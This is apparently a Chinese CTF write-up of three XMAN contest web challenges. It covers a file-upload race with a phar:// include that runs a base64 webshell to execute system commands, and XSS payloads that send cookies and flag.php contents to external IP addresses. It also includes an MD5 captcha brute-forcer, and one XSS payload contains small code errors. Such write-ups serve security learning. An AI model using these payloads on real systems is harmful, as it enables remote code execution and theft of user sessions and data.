xman个人排位赛(纪念第一个xss)

记录一下被虐的道理

Babyweb

第一次做这种文件上传包含漏洞吧。

看到page之后,想到文件包含,先用"php://filter/read=convert.base64-encode/resource="filter伪协议读一下源码.整理了一下几个重要的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
***Upload.php:
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>

观察代码,可以发现上传的文件的临时文件名是time函数生成的,而且在sleep(2)之后就会经过一系列复杂的变化(反正没看懂),所以要在两秒内把上传的文件包含。

而且通过扫描,发现uploads目录可以访问

所以现在的思路就是,写两个脚本,一个来上传文件,另一个来通过访问uploads来读到最新的那个文件名,然后去包含它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
***upload.py:
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/upload.php"
data = { 'title': 'admin', 'url': 'admin' }
files = {'pic': ('b.jpg', open("b.zip").read(), 'image/jpeg')}
# 这里使用 requests 库来上传文件有几种方式
# 这种方式可以控制文件名以及文件类型
# 可以用来绕过基于客户端的文件名和文件类型检测
response = requests.post(url, data=data, files=files)
content = response.content
print content

  • 写一句话木马,用base64加密之后保存为b.php,

  • 然后压缩为b.zip,绕过检验很简单,上传的为b.jpg和image/jpeg即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
***include.py
#!/usr/bin/env python
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
filename = files[-1]
print filename
#url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('ls');"
url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('cat ./xxxxxxxxxasdasf_flag.php');"
print requests.get(url).content

主要解释一下url那行,从右到左看,c是传入的参数,b是文件名,因为会自动加.php,所以其实是b.php,filename是最新的那个文件名,基本上就是你上传的那个,phar去读取,所以连起来就是用phar去读取你的那个b.php,然后经过base64解密

XSS1

由于对js和html一点都不懂,所以做起这种题目一点思路都没有,看着大佬们一个一个标签一个一个方法

这是xman个人排位赛上的一道题,赛后拿着大佬的wp和payload一行一行敲出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
var iframe=document.body.createElement('iframe');
iframe.src="./";
document.body.appendChild(iframe);
iframe.onload=function(){
var c=document.cookie;
var n=document.createElement("link");
n.setAttribute("rel","prefetch");
n.setAttribute("href","//101.200.58.21:8080/?" + c");
document.head.appendChild(n);
}
</script>

这估计是最简单的xss攻击脚本了,就是简单的把document.cookie打到101.200.58.21:8080,而且没有任何的过滤,连script都可以用,然后监听vps就可以了
唉web就是个坑

XSS2

其实跟第一个题目差不多,也没过滤东西,不过需要这次flag不在cookie里,而是需要读取flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var iframe = document.createElement("iframe");
iframe.src = "./flag.php";
document.body.appendChild(iframe);
iframe.onload = function (){
var flag = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[0].innerHTML;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//121.42.189.18:8080/?" +flag);
document.head.appendChild(n0t);
}

其中唯一不一样的就是var flag = document.getElementsByTagName(“iframe”)[0].contentWindow.document.getElementsByTagName(“body”)[0].innerHTML;

这句代码,其实可以分成三段,第一段是得到iframe子窗口,第二段contentwindow是进入子窗口,第三段是读取子窗口的body变量用html实体输出

附上MD5验证码爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf8 -*-
import hashlib
def crack_code(code):
s = 100000
while 1:
m2 = hashlib.md5()
m2.update(repr(s))
if (m2.hexdigest()[0:4]==code):
return s
break
s+=1
print crack_code('818d')

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. Babyweb
  2. 2. XSS1
  3. 3. XSS2
,